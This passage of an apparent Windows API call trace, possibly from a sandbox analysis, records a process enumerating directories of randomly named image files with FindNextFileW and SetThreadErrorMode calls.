ftLastAccessTime.dwLowDateTime=0x3eb647d0, ftLastAccessTime.dwHighDateTime=0x1d997ad, ftLastWriteTime.dwLowDateTime=0x3eb647d0, ftLastWriteTime.dwHighDateTime=0x1d997ad, nFileSizeHigh=0x0, nFileSizeLow=0x20f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ut5I85Hmrtdjra4F.jpg", cAlternateFileName="UT5I85~1.JPG")) returned 1 [0162.929] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a4df6a0, ftCreationTime.dwHighDateTime=0x1d997aa, ftLastAccessTime.dwLowDateTime=0x6fccf940, ftLastAccessTime.dwHighDateTime=0x1d99d57, ftLastWriteTime.dwLowDateTime=0x6fccf940, ftLastWriteTime.dwHighDateTime=0x1d99d57, nFileSizeHigh=0x0, nFileSizeLow=0xf8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="uZ- c.gif", cAlternateFileName="UZ-C~1.GIF")) returned 1 [0162.929] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8939c0, ftCreationTime.dwHighDateTime=0x1d999ed, ftLastAccessTime.dwLowDateTime=0xbbe17a20, ftLastAccessTime.dwHighDateTime=0x1d99b9c, ftLastWriteTime.dwLowDateTime=0xbbe17a20, ftLastWriteTime.dwHighDateTime=0x1d99b9c, nFileSizeHigh=0x0, nFileSizeLow=0x7087, dwReserved0=0x0, dwReserved1=0x0, cFileName="v30MfWJ0Z.jpg", cAlternateFileName="V30MFW~1.JPG")) returned 1 [0162.929] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54cc4a70, ftCreationTime.dwHighDateTime=0x1d995a4, ftLastAccessTime.dwLowDateTime=0x3c26a380, ftLastAccessTime.dwHighDateTime=0x1d99932, ftLastWriteTime.dwLowDateTime=0x3c26a380, ftLastWriteTime.dwHighDateTime=0x1d99932, nFileSizeHigh=0x0, nFileSizeLow=0x12f2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="XOXL0s.gif", cAlternateFileName="")) returned 1 [0162.929] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09ed320, ftCreationTime.dwHighDateTime=0x1d98fe6, ftLastAccessTime.dwLowDateTime=0x25c1af10, ftLastAccessTime.dwHighDateTime=0x1d99831, ftLastWriteTime.dwLowDateTime=0x25c1af10, ftLastWriteTime.dwHighDateTime=0x1d99831, nFileSizeHigh=0x0, nFileSizeLow=0x62b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="y A649h.jpg", cAlternateFileName="YA649H~1.JPG")) returned 1 [0162.929] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09ed320, ftCreationTime.dwHighDateTime=0x1d98fe6, ftLastAccessTime.dwLowDateTime=0x25c1af10, ftLastAccessTime.dwHighDateTime=0x1d99831, ftLastWriteTime.dwLowDateTime=0x25c1af10, ftLastWriteTime.dwHighDateTime=0x1d99831, nFileSizeHigh=0x0, nFileSizeLow=0x62b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="y A649h.jpg", cAlternateFileName="YA649H~1.JPG")) returned 0 [0162.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.930] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8e12340, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8e12340, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.930] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92698860, ftCreationTime.dwHighDateTime=0x1d991b8, ftLastAccessTime.dwLowDateTime=0x9e368150, ftLastAccessTime.dwHighDateTime=0x1d996a6, ftLastWriteTime.dwLowDateTime=0x9e368150, ftLastWriteTime.dwHighDateTime=0x1d996a6, nFileSizeHigh=0x0, nFileSizeLow=0xa1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="-20cBzLDzX_KXyz1k60.png", cAlternateFileName="-20CBZ~1.PNG")) returned 1 [0162.930] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c002ce0, ftCreationTime.dwHighDateTime=0x1d99337, ftLastAccessTime.dwLowDateTime=0x77c1900, ftLastAccessTime.dwHighDateTime=0x1d99a43, ftLastWriteTime.dwLowDateTime=0x77c1900, ftLastWriteTime.dwHighDateTime=0x1d99a43, nFileSizeHigh=0x0, nFileSizeLow=0xc851, dwReserved0=0x0, dwReserved1=0x0, cFileName="-lvNlIwLh6qJBQ7x.bmp", cAlternateFileName="-LVNLI~1.BMP")) returned 1 [0162.930] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310acab0, ftCreationTime.dwHighDateTime=0x1d9929a, ftLastAccessTime.dwLowDateTime=0xcae9ac10, ftLastAccessTime.dwHighDateTime=0x1d99b54, ftLastWriteTime.dwLowDateTime=0xcae9ac10, ftLastWriteTime.dwHighDateTime=0x1d99b54, nFileSizeHigh=0x0, nFileSizeLow=0x18344, dwReserved0=0x0, dwReserved1=0x0, cFileName="-yqu7r.jpg", cAlternateFileName="")) returned 1 [0162.930] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1917f9f0, ftCreationTime.dwHighDateTime=0x1d99bc3, ftLastAccessTime.dwLowDateTime=0x1570c200, ftLastAccessTime.dwHighDateTime=0x1d99cc2, ftLastWriteTime.dwLowDateTime=0x1570c200, ftLastWriteTime.dwHighDateTime=0x1d99cc2, nFileSizeHigh=0x0, nFileSizeLow=0x5f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="09iJUNDbva.gif", cAlternateFileName="09IJUN~1.GIF")) returned 1 [0162.930] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732bbf40, ftCreationTime.dwHighDateTime=0x1d99541, ftLastAccessTime.dwLowDateTime=0x893af460, ftLastAccessTime.dwHighDateTime=0x1d99878, ftLastWriteTime.dwLowDateTime=0x893af460, ftLastWriteTime.dwHighDateTime=0x1d99878, nFileSizeHigh=0x0, nFileSizeLow=0xad1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Tp--JQrN7iCKV.jpg", cAlternateFileName="1TP--J~1.JPG")) returned 1 [0162.931] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d3b1760, ftCreationTime.dwHighDateTime=0x1d99972, ftLastAccessTime.dwLowDateTime=0x2576e880, ftLastAccessTime.dwHighDateTime=0x1d999f4, ftLastWriteTime.dwLowDateTime=0x2576e880, ftLastWriteTime.dwHighDateTime=0x1d999f4, nFileSizeHigh=0x0, nFileSizeLow=0x2edb, dwReserved0=0x0, dwReserved1=0x0, cFileName="2R7o-shzeF3qr6Zs_C.gif", cAlternateFileName="2R7O-S~1.GIF")) returned 1 [0162.931] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7e37b10, ftCreationTime.dwHighDateTime=0x1d99762, ftLastAccessTime.dwLowDateTime=0x83cab3b0, ftLastAccessTime.dwHighDateTime=0x1d99960, ftLastWriteTime.dwLowDateTime=0x83cab3b0, ftLastWriteTime.dwHighDateTime=0x1d99960, nFileSizeHigh=0x0, nFileSizeLow=0xb8f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="3r8D3DNV_Alj.jpg", cAlternateFileName="3R8D3D~1.JPG")) returned 1 [0162.931] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802afcc0, ftCreationTime.dwHighDateTime=0x1d99383, ftLastAccessTime.dwLowDateTime=0x31155f50, ftLastAccessTime.dwHighDateTime=0x1d99a6c, ftLastWriteTime.dwLowDateTime=0x31155f50, ftLastWriteTime.dwHighDateTime=0x1d99a6c, nFileSizeHigh=0x0, nFileSizeLow=0x10c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ZfnhezHZzwofrnONF.jpg", cAlternateFileName="6ZFNHE~1.JPG")) returned 1 [0162.931] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b68b980, ftCreationTime.dwHighDateTime=0x1d993fb, ftLastAccessTime.dwLowDateTime=0x6b6cbaf0, ftLastAccessTime.dwHighDateTime=0x1d99d2c, ftLastWriteTime.dwLowDateTime=0x6b6cbaf0, ftLastWriteTime.dwHighDateTime=0x1d99d2c, nFileSizeHigh=0x0, nFileSizeLow=0x1391b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8CzrpcYd_M6g307P3Uxk.png", cAlternateFileName="8CZRPC~1.PNG")) returned 1 [0162.931] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71136550, ftCreationTime.dwHighDateTime=0x1d99109, ftLastAccessTime.dwLowDateTime=0xefe63450, ftLastAccessTime.dwHighDateTime=0x1d99c23, ftLastWriteTime.dwLowDateTime=0xefe63450, ftLastWriteTime.dwHighDateTime=0x1d99c23, nFileSizeHigh=0x0, nFileSizeLow=0xcd3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DVbrPzwsfunn.jpg", cAlternateFileName="8DVBRP~1.JPG")) returned 1 [0162.931] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcb4d80, ftCreationTime.dwHighDateTime=0x1d99700, ftLastAccessTime.dwLowDateTime=0xbd2d1d20, ftLastAccessTime.dwHighDateTime=0x1d998a0, ftLastWriteTime.dwLowDateTime=0xbd2d1d20, ftLastWriteTime.dwHighDateTime=0x1d998a0, nFileSizeHigh=0x0, nFileSizeLow=0xa774, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiMH.png", cAlternateFileName="")) returned 1 [0162.931] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16a5cff0, ftCreationTime.dwHighDateTime=0x1d9977a, ftLastAccessTime.dwLowDateTime=0x5eb11730, ftLastAccessTime.dwHighDateTime=0x1d99baa, ftLastWriteTime.dwLowDateTime=0x5eb11730, ftLastWriteTime.dwHighDateTime=0x1d99baa, nFileSizeHigh=0x0, nFileSizeLow=0x18eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRAGPLrxjBWjbAs_pS.jpg", cAlternateFileName="CRAGPL~1.JPG")) returned 1 [0162.931] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7ed1e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x340cfec0, ftCreationTime.dwHighDateTime=0x1d99b0c, ftLastAccessTime.dwLowDateTime=0x31c0e530, ftLastAccessTime.dwHighDateTime=0x1d99c67, ftLastWriteTime.dwLowDateTime=0x31c0e530, ftLastWriteTime.dwHighDateTime=0x1d99c67, nFileSizeHigh=0x0, nFileSizeLow=0x6303, dwReserved0=0x0, dwReserved1=0x0, cFileName="dLcXhG3aWfBaiR.gif", cAlternateFileName="DLCXHG~1.GIF")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef82d940, ftCreationTime.dwHighDateTime=0x1d9999f, ftLastAccessTime.dwLowDateTime=0x34a91250, ftLastAccessTime.dwHighDateTime=0x1d99d6a, ftLastWriteTime.dwLowDateTime=0x34a91250, ftLastWriteTime.dwHighDateTime=0x1d99d6a, nFileSizeHigh=0x0, nFileSizeLow=0x88fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="F-RYQ.jpg", cAlternateFileName="")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474f29e0, ftCreationTime.dwHighDateTime=0x1d99b11, ftLastAccessTime.dwLowDateTime=0x5ca9dbd0, ftLastAccessTime.dwHighDateTime=0x1d99c76, ftLastWriteTime.dwLowDateTime=0x5ca9dbd0, ftLastWriteTime.dwHighDateTime=0x1d99c76, nFileSizeHigh=0x0, nFileSizeLow=0x37bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gJalnSM9o_s.jpg", cAlternateFileName="GJALNS~1.JPG")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69f17810, ftCreationTime.dwHighDateTime=0x1d99b28, ftLastAccessTime.dwLowDateTime=0x1d16a9f0, ftLastAccessTime.dwHighDateTime=0x1d99c33, ftLastWriteTime.dwLowDateTime=0x1d16a9f0, ftLastWriteTime.dwHighDateTime=0x1d99c33, nFileSizeHigh=0x0, nFileSizeLow=0x6a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="gM5d9KgElxbt.png", cAlternateFileName="GM5D9K~1.PNG")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb036180, ftCreationTime.dwHighDateTime=0x1d998fd, ftLastAccessTime.dwLowDateTime=0xa9edc6e0, ftLastAccessTime.dwHighDateTime=0x1d99d2a, ftLastWriteTime.dwLowDateTime=0xa9edc6e0, ftLastWriteTime.dwHighDateTime=0x1d99d2a, nFileSizeHigh=0x0, nFileSizeLow=0x7d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gn4IO1VV8utHsX.png", cAlternateFileName="GN4IO1~1.PNG")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34558790, ftCreationTime.dwHighDateTime=0x1d99197, ftLastAccessTime.dwLowDateTime=0xa0582c50, ftLastAccessTime.dwHighDateTime=0x1d99a29, ftLastWriteTime.dwLowDateTime=0xa0582c50, ftLastWriteTime.dwHighDateTime=0x1d99a29, nFileSizeHigh=0x0, nFileSizeLow=0xa5e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwQvkSY6qIajdf.jpg", cAlternateFileName="HWQVKS~1.JPG")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997a8100, ftCreationTime.dwHighDateTime=0x1d99784, ftLastAccessTime.dwLowDateTime=0x97e18970, ftLastAccessTime.dwHighDateTime=0x1d998a0, ftLastWriteTime.dwLowDateTime=0x97e18970, ftLastWriteTime.dwHighDateTime=0x1d998a0, nFileSizeHigh=0x0, nFileSizeLow=0xb59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE3K6N7c0_b GIZGjbF-.png", cAlternateFileName="IE3K6N~1.PNG")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f75e1d0, ftCreationTime.dwHighDateTime=0x1d98f5d, ftLastAccessTime.dwLowDateTime=0x2cbe6f90, ftLastAccessTime.dwHighDateTime=0x1d99ae0, ftLastWriteTime.dwLowDateTime=0x2cbe6f90, ftLastWriteTime.dwHighDateTime=0x1d99ae0, nFileSizeHigh=0x0, nFileSizeLow=0xec02, dwReserved0=0x0, dwReserved1=0x0, cFileName="JhqgivuCmr9tbit.jpg", cAlternateFileName="JHQGIV~1.JPG")) returned 1 [0162.932] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19728280, ftCreationTime.dwHighDateTime=0x1d99790, ftLastAccessTime.dwLowDateTime=0xf43a2730, ftLastAccessTime.dwHighDateTime=0x1d99b49, ftLastWriteTime.dwLowDateTime=0xf43a2730, ftLastWriteTime.dwHighDateTime=0x1d99b49, nFileSizeHigh=0x0, nFileSizeLow=0x93ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="kwI_sPi1.png", cAlternateFileName="")) returned 1 [0162.933] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ced610, ftCreationTime.dwHighDateTime=0x1d9920c, ftLastAccessTime.dwLowDateTime=0xf7453290, ftLastAccessTime.dwHighDateTime=0x1d9968e, ftLastWriteTime.dwLowDateTime=0xf7453290, ftLastWriteTime.dwHighDateTime=0x1d9968e, nFileSizeHigh=0x0, nFileSizeLow=0x17adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LxEyCMb3cz G.png", cAlternateFileName="LXEYCM~1.PNG")) returned 1 [0162.933] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d1bfe0, ftCreationTime.dwHighDateTime=0x1d98f9c, ftLastAccessTime.dwLowDateTime=0x3a1497e0, ftLastAccessTime.dwHighDateTime=0x1d99299, ftLastWriteTime.dwLowDateTime=0x3a1497e0, ftLastWriteTime.dwHighDateTime=0x1d99299, nFileSizeHigh=0x0, nFileSizeLow=0x9e7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mh_2oAjD6IQO.gif", cAlternateFileName="MH_2OA~1.GIF")) returned 1 [0162.933] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24cdd390, ftCreationTime.dwHighDateTime=0x1d998bd, ftLastAccessTime.dwLowDateTime=0xd80888e0, ftLastAccessTime.dwHighDateTime=0x1d9997d, ftLastWriteTime.dwLowDateTime=0xd80888e0, ftLastWriteTime.dwHighDateTime=0x1d9997d, nFileSizeHigh=0x0, nFileSizeLow=0x30fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEEjRL4DiRYJSV.bmp", cAlternateFileName="NEEJRL~1.BMP")) returned 1 [0162.933] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be702f0, ftCreationTime.dwHighDateTime=0x1d99d24, ftLastAccessTime.dwLowDateTime=0x3d2b5c00, ftLastAccessTime.dwHighDateTime=0x1d99d95, ftLastWriteTime.dwLowDateTime=0x3d2b5c00, ftLastWriteTime.dwHighDateTime=0x1d99d95, nFileSizeHigh=0x0, nFileSizeLow=0x9427, dwReserved0=0x0, dwReserved1=0x0, cFileName="QJMIbj2cSoJVN7un2O.bmp", cAlternateFileName="QJMIBJ~1.BMP")) returned 1 [0162.933] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a0433d0, ftCreationTime.dwHighDateTime=0x1d98df6, ftLastAccessTime.dwLowDateTime=0x1baf3bd0, ftLastAccessTime.dwHighDateTime=0x1d999f0, ftLastWriteTime.dwLowDateTime=0x1baf3bd0, ftLastWriteTime.dwHighDateTime=0x1d999f0, nFileSizeHigh=0x0, nFileSizeLow=0x4669, dwReserved0=0x0, dwReserved1=0x0, cFileName="qNxgBCMJFfZZ 6.bmp", cAlternateFileName="QNXGBC~1.BMP")) returned 1 [0162.933] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4570850, ftCreationTime.dwHighDateTime=0x1d993d3, ftLastAccessTime.dwLowDateTime=0xc3fedfc0, ftLastAccessTime.dwHighDateTime=0x1d9969e, ftLastWriteTime.dwLowDateTime=0xc3fedfc0, ftLastWriteTime.dwHighDateTime=0x1d9969e, nFileSizeHigh=0x0, nFileSizeLow=0xaf17, dwReserved0=0x0, dwReserved1=0x0, cFileName="rokbMHY7.bmp", cAlternateFileName="")) returned 1 [0162.933] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b271fe0, ftCreationTime.dwHighDateTime=0x1d98e0b, ftLastAccessTime.dwLowDateTime=0xf2ccd990, ftLastAccessTime.dwHighDateTime=0x1d9919b, ftLastWriteTime.dwLowDateTime=0xf2ccd990, ftLastWriteTime.dwHighDateTime=0x1d9919b, nFileSizeHigh=0x0, nFileSizeLow=0xb2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="tBNEwownJMNLIH-.gif", cAlternateFileName="TBNEWO~1.GIF")) returned 1 [0162.934] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8648e140, ftCreationTime.dwHighDateTime=0x1d998eb, ftLastAccessTime.dwLowDateTime=0xdba43960, ftLastAccessTime.dwHighDateTime=0x1d99db3, ftLastWriteTime.dwLowDateTime=0xdba43960, ftLastWriteTime.dwHighDateTime=0x1d99db3, nFileSizeHigh=0x0, nFileSizeLow=0x755c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TfnLK 0sMrt1_1XwW.gif", cAlternateFileName="TFNLK0~1.GIF")) returned 1 [0162.934] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87a94930, ftCreationTime.dwHighDateTime=0x1d992d8, ftLastAccessTime.dwLowDateTime=0x41adc580, ftLastAccessTime.dwHighDateTime=0x1d99924, ftLastWriteTime.dwLowDateTime=0x41adc580, ftLastWriteTime.dwHighDateTime=0x1d99924, nFileSizeHigh=0x0, nFileSizeLow=0x1460e, dwReserved0=0x0, dwReserved1=0x0, cFileName="t_ v5C6i.png", cAlternateFileName="T_V5C6~1.PNG")) returned 1 [0162.934] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30fd50a0, ftCreationTime.dwHighDateTime=0x1d992af, ftLastAccessTime.dwLowDateTime=0x3eb647d0, ftLastAccessTime.dwHighDateTime=0x1d997ad, ftLastWriteTime.dwLowDateTime=0x3eb647d0, ftLastWriteTime.dwHighDateTime=0x1d997ad, nFileSizeHigh=0x0, nFileSizeLow=0x20f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ut5I85Hmrtdjra4F.jpg", cAlternateFileName="UT5I85~1.JPG")) returned 1 [0162.934] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a4df6a0, ftCreationTime.dwHighDateTime=0x1d997aa, ftLastAccessTime.dwLowDateTime=0x6fccf940, ftLastAccessTime.dwHighDateTime=0x1d99d57, ftLastWriteTime.dwLowDateTime=0x6fccf940, ftLastWriteTime.dwHighDateTime=0x1d99d57, nFileSizeHigh=0x0, nFileSizeLow=0xf8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="uZ- c.gif", cAlternateFileName="UZ-C~1.GIF")) returned 1 [0162.934] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8939c0, ftCreationTime.dwHighDateTime=0x1d999ed, ftLastAccessTime.dwLowDateTime=0xbbe17a20, ftLastAccessTime.dwHighDateTime=0x1d99b9c, ftLastWriteTime.dwLowDateTime=0xbbe17a20, ftLastWriteTime.dwHighDateTime=0x1d99b9c, nFileSizeHigh=0x0, nFileSizeLow=0x7087, dwReserved0=0x0, dwReserved1=0x0, cFileName="v30MfWJ0Z.jpg", cAlternateFileName="V30MFW~1.JPG")) returned 1 [0162.934] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54cc4a70, ftCreationTime.dwHighDateTime=0x1d995a4, ftLastAccessTime.dwLowDateTime=0x3c26a380, ftLastAccessTime.dwHighDateTime=0x1d99932, ftLastWriteTime.dwLowDateTime=0x3c26a380, ftLastWriteTime.dwHighDateTime=0x1d99932, nFileSizeHigh=0x0, nFileSizeLow=0x12f2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="XOXL0s.gif", cAlternateFileName="")) returned 1 [0162.934] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09ed320, ftCreationTime.dwHighDateTime=0x1d98fe6, ftLastAccessTime.dwLowDateTime=0x25c1af10, ftLastAccessTime.dwHighDateTime=0x1d99831, ftLastWriteTime.dwLowDateTime=0x25c1af10, ftLastWriteTime.dwHighDateTime=0x1d99831, nFileSizeHigh=0x0, nFileSizeLow=0x62b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="y A649h.jpg", cAlternateFileName="YA649H~1.JPG")) returned 1 [0162.935] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.941] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, 